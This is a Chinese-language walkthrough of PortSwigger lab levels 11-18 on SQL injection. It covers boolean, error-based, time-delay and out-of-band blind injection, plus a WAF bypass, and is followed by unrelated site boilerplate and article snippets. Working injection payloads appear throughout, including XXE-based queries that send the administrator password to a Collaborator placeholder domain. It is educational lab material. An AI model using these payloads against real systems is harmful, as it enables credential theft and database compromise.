burp靶场sql注入通关—下

第十一关(布尔盲注):

1.根据提示修改包含 TrackingId cookie的请求,先抓包并修改这个值,在后面加上永真式发现出现Welcome back

TrackingId=xxxx' and '1'='1

  再修改这个值为永假式看看,发现没有Welcome back,有两种是或不是回显说明是布尔类型的

2.利用是否有正确回显判断后面语句是否正确,出现Welcome back说明存在users表

TrackingId=xxxx' and (select 'a' from users LIMIT 1)='a

3.确定users表中是否存在administrator用户

TrackingId=xxxx' and (select username from users where username='administrator')='administrator

4.判断密码的长度,根据提示可知密码只包含小写字母和数字

TrackingId=xxxx' and (select username from users where username='administrator' and LENGTH(password)>2)='administrator

最终尝试出来密码长度为20

5.接下来测试出每位密码的值

TrackingId=xxxx' and (select substring(password,1,1) from users where username='administrator')='a

  最后得到密码为:2j1255423gxam09ettyx

6.使用该密码登录即可通关

第十二关(条件错误的盲注):

1.有题目可知这关是有错误回显的,先抓包对TrackingId值测试,出现报错说明不是单引号闭合

  再加一个单引号不报错了,说明是双引号闭合

2.确定是否存在注入点,需要使用有效的SQL语法构造一个查询

TrackingId=xxxx'||(select '' from dual)||'

  返回一个不存在的表名,这时出现了错误回显,说明存在错误注入

测试根据特定条件的真值有条件地触发错误

'||(select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'            报错

'||(select CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'            不报错

CASE语句:如果条件(when)为真,则计算前一个(then)表达式;如果条件为假,则计算后一个(else)表达式。

3.确定数据库中是否存在users表

TrackingId=xxxx'||(select '' from users where rownum=1)||'

4.确定users表中是否存在administrator用户,报错说明存在

TrackingId=xxxx'||(select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

因为from后的语句正确,所以执行when;when一定正确,所以执行then出现错误

5.确定密码的长度

TrackingId=xxxx'||(select CASE WHEN length(password)>1 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||' 

=20报错且>20不报错,说明密码长度为20

6.接下来测试出每位密码的值

TrackingId=xxxx'||(select CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

   整理得到密码为:ydyo5oe5ops0k8ttwt25

6.使用该密码登录即可通关

第十三关(可见错误的盲注):

1.首先在Proxy—HTTP history里找到包含TrackingId的GET类型的数据包

2.判断是否存在注入点,出现对SQL语句的报错,注释后恢复正常,说明存在报错注入

3.调整使用select查询,并将返回值转换为int型

TrackingId=xxxx'+AND+CAST((SELECT+1)+AS+int)--

4.错误提示需要将payload更改为布尔类型,这次没有出现错误提示

TrackingId=xxxx'+AND+1=CAST((SELECT+1)+AS+int)--

5.从users表确定是否存在administrator用户,发现又出现错误

6.再根据提示出现未预料到的字符串,将TrackingID值删去

TrackingId='+AND+1=CAST((SELECT username FROM users)+AS+int)--

7.又出现错误说超过一行,再修改payload,结果回显说明存在administrator

TrackingId='+AND+1=CAST((SELECT username FROM users LIMIT 1)+AS+int)--

8.从users表中获得administrator的密码

TrackingId='+AND+1=CAST((SELECT password FROM users LIMIT 1)+AS+int)--

9.利用得到的密码登录即可通关

第十四关(时间延迟的盲注):

1.这关需要制造10秒的延迟,首先抓包测试是否存在注入点,发现是由单引号闭合的

2.利用sleep函数让网页延迟10秒即可通过

TrackingId=xxxx'|| pg_sleep(10)--

第十五关(时间延迟和信息检索的盲注):

1.这关需要触发条件时间延迟来推断信息,首先判断是否存在sql注入点,睡眠了5秒说明存在

验证应用程序是否立即响应,没有时间延迟,这样测试单个布尔条件并推断结果

TrackingId=xxxx'|| select CASE WHEN (1=2) THEN pg_sleep(10) ELSE pg_sleep(0) END--

2.判断users表中是否有用户为administrator

TrackingId=xxxx'||(select CASE WHEN (username='administrator') THEN pg_sleep(5) ELSE pg_sleep(0) END from users)--

3.确定administrator密码的长度,最后得到密码长度为20

TrackingId=xxxx'||(select CASE WHEN (username='administrator' and length(password)>1) THEN pg_sleep(5) ELSE pg_sleep(0) END from users)--

4.接下来测试出每位密码的值

TrackingId=xxxx'||(select CASE WHEN (username='administrator' and substring(password,1,1)=''a) THEN pg_sleep(5) ELSE pg_sleep(0) END from users)--

最后得到密码为:v7xdghg0xwm530oh8vbs

5.使用该密码登录即可通关

第十六关(外带交互的盲注):

1.这关由于SQL查询是异步执行的,对应用程序的响应没有影响,可以通过触发与外部域的外带交互来进行注入

   首先对Burp Collaborator进行DNS查询,其中Collaborator相当于外部服务器

2.构造payload利用extractvale函数报错将xml数据外带

TrackingId=xxxx' union select EXTRACTVALUE(xmltype('<%3fxml version%3d"1.0" encoding%3d"UTF-8"%3f><!DOCTYPE root [+<!ENTITY %25 remote SYSTEM "http%3a//BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--

划线部分填上一步复制的DNS

3.在collaborator看到执行payload后产生的信息

第十七关(外带数据渗出的盲注):

1.这关需要找到administrator的密码,还是先打开服务器端

2.构造payload将密码爆出

TrackingId=xxxx'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT password FROM users WHERE username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--

3.复制得到的密码进行登录即可通关

第十八关(XML编码绕过):

1.这关需要获取管理员用户的凭据并登录,使用 Hackvertor 扩展绕过WAF

   先点击一个商品,根据提示抓check stock的包

2.接下来判断在storeID处是否存在注入点,可以发现库存减少了变为ID=2的商品的,说明存在注入点

3.尝试使用联合查询确定返回的列数,被发现存在攻击

4.安装插件Hackvertor

5.将数据包利用Hackvertor编码,这样就不会显示被攻击

6.从users表中获取administrator密码

1 union select username || '~' || password from users

7.使用获得的账号密码即可通关

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/832662.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

OpenNJet下载安装及入门实战教程

一、什么是OpenNJet OpenNJet是一款开放原子开源基金会孵化及运营的开源项目。OpenNJet采用C语言实现。是一款高性能、轻量级的WEB应用及代理软件。    OpenNJet 应用引擎是高性能、轻量级的WEB应用与代理软件。作为云原生服务网格的数据平面&#xff0c;NJet具备动态配置加载…

python数据分析所需要的语法基础

Python语言基础——语法基础 前言语法基础变量标识符数据类型输入与输出代码缩进与注释 总结 前言 对于学过C语言的人来说&#xff0c;python其实很简单。学过一种语言&#xff0c;学习另一种语言&#xff0c;很显然的能感觉到&#xff0c;语言大体上都是相通的。当然&#xf…

企业微信hook接口协议,ipad协议http,客户群发送任务,获取要发送的客户群列表

客户群发送任务&#xff0c;获取要发送的客户群列表 参数名必选类型说明uuid是String每个实例的唯一标识&#xff0c;根据uuid操作具体企业微信 请求示例 {"uuid": "1688853790533324","id":1101292747044333637, //群发任务id"keyword…

3.栈和队列(汇总版)

目录 1.栈&#xff08;一端插和删&#xff09; 2.队列&#xff08;一端插另一段删&#xff09; 2.1队列的概念及结构 2.2 队列的实现 队列的接口 1.初始化队列 2.销毁队列 3.插入元素 4.出队列&#xff08;头删&#xff09; 5.访问对头 6.访问队尾 7.判断队列是否为…

CMakeLists.txt语法规则:foreach循环的关键字

一. 简介 前一篇文章学习了 CMakeLists.txt语法中 foreach循环的基本用法。文章如下&#xff1a; CMakeLists.txt语法规则&#xff1a;foreach 循环基本用法-CSDN博客 本文继续 CMakeLists.txt语法中 foreach循环语句&#xff0c;主要学习 foreach循环中的关键字。 二. CM…

Android 官网Ota介绍

构建 OTA 软件包 | Android 开源项目 | Android Open Source Project

(网络初识)

网络发展史 独立模式 在最开始计算机被发明出来&#xff0c;但网络还未普及的情况下&#xff0c;每个计算机之间都是相互独立的&#xff1a; 假设现在有一份数据需要处理&#xff0c;然后这份数据的处理又分给三个人分别处理。假设小松处理进行第一部分的处理&#xff0c;当小…

Skywalking的重要功能详解

学习本篇文章之前首先要了解一下Sky walking的基础知识 分布式链路追踪工具Sky walking详解 一&#xff0c;Sky walking监控数据库 在admin服务中&#xff0c;连接数据库查询user表中所有数据 引入依赖 <dependency><groupId>mysql</groupId><artifactI…

上位机图像处理和嵌入式模块部署(树莓派4b和qt应用全屏占有)

【 声明&#xff1a;版权所有&#xff0c;欢迎转载&#xff0c;请勿用于商业用途。 联系信箱&#xff1a;feixiaoxing 163.com】 我们都知道&#xff0c;嵌入式应用一般都是为了某一个特定应用而存在的。也就是说&#xff0c;和pc不同&#xff0c;这个嵌入式板子一般都是为了解…

多组间比较散点图+误差棒(自备)

目录 数据 计算四分位值 作图 数据 rm(list ls()) library(ggplot2) library(dplyr) library(ggpubr) library(reshape2) library(tidyverse)data <- iris##鸢尾花数据集 dat <- data[,c(5,1)]#单个数据进行分析 计算四分位值 #根据分组计算四分位及中位数 dat1 …

使用Docker安装Redis

大家好&#xff0c;今天给大家分享一下如何使用docker安装Redis&#xff0c;关于docker的安装和常用命令&#xff0c;大家可以参考下面两篇文章&#xff0c;本文中不做过多描述。 Docker在Windows与CentOS上的安装 Docker常用命令 关于Redis的介绍与常用操作可以参考&#x…

中国科技大航海时代,“掘金”一带一路

文&#xff5c;白 鸽 编&#xff5c;王一粟 “这不就是90年代的内地吗&#xff1f;” 在深度考察完沙特市场后&#xff0c;华盛集团联合创始人兼CEO张霆对镜相工作室感慨道。 在张霆看来&#xff0c;沙特落后的基建&#xff08;意味着大量创新空间&#xff09;、刚刚开放…

AHB---数据总线

1. 数据总线 为了实现AHB系统&#xff0c;需要独立的读写数据总线。虽然推荐的最小数据总线宽度被指定为32位&#xff0c;但这可以根据数据总线宽度进行更改。 数据总线包含以下部分&#xff1a; HWDATAHRDATAEndianness&#xff08;字节序&#xff09; 1.1 HWDATA 在写传输…

【革命启示录】Spring框架:Java开发的“核聚变”能量源!

Hello&#xff0c;我是阿佑&#xff0c;今天给大家整的活是 《Java开发的“核聚变”能量源》 文章目录 Spring框架原理详解一、引言简介目的特点例子 二、背景介绍问题解决方案例子 三、核心概念3.1 控制反转&#xff08;Inversion of Control, IoC&#xff09;定义实现例子与代…

Sarcasm detection论文解析 |基于情感背景和个人表达习惯的有效讽刺检测方法

论文地址 论文地址&#xff1a;https://link.springer.com/article/10.1007/s12559-021-09832-x#/ 论文首页 笔记框架 基于情感背景和个人表达习惯的有效讽刺检测方法 &#x1f4c5;出版年份:2022 &#x1f4d6;出版期刊:Cognitive Computation &#x1f4c8;影响因子:5.4 &…

【python】基础语法

目录 一.注释和常见规则 二.变量及类型 1.数据类型 2.Numbers数字数据类型 3. 字符串类型 &#xff08;1&#xff09;字符串访问 &#xff08;2&#xff09;字符串拼接 4.List&#xff08;列表&#xff09;类型 &#xff08;1&#xff09; 定义 &#xff08;2&#…

【Linux】yum

&#x1f389;博主首页&#xff1a; 有趣的中国人 &#x1f389;专栏首页&#xff1a; Linux &#x1f389;其它专栏&#xff1a; C初阶 | C进阶 | 初阶数据结构 觉得本片文章写的还不错的可以&#x1f44d;点赞&#x1f44d;、&#x1f31f;收藏&#x1f31f;、&#x1f4dd;…

Golang | Leetcode Golang题解之第71题简化路径

题目&#xff1a; 题解&#xff1a; func simplifyPath(path string) string {stack : []string{}for _, name : range strings.Split(path, "/") {if name ".." {if len(stack) > 0 {stack stack[:len(stack)-1]}} else if name ! "" &am…

在uniapp里面使用 mp-html 并且开启 latex 功能

在uniapp里面使用 mp-html 并且开启 latex 功能 默认情况下 mp-html 是不会开启 latex 功能的, 如果需要开启 latex 功能是需要到代码操作拉取代码自行打包的。 这里说一下 mp-html 里面的 latex 功能是由 https://github.com/rojer95/katex-mini 提供的技术实现&#xff0c;…

计算机系列之数据库技术

13、数据库技术&#xff08;重点、考点&#xff09; 1、三级模式-两级映像&#xff08;考点&#xff09; 内模式&#xff1a;管理如何存储物理的数据&#xff0c;对应具体物理存储文件。 **模式&#xff1a;**又称为概念模式&#xff0c;就是我们通常使用的基本表&#xff0c…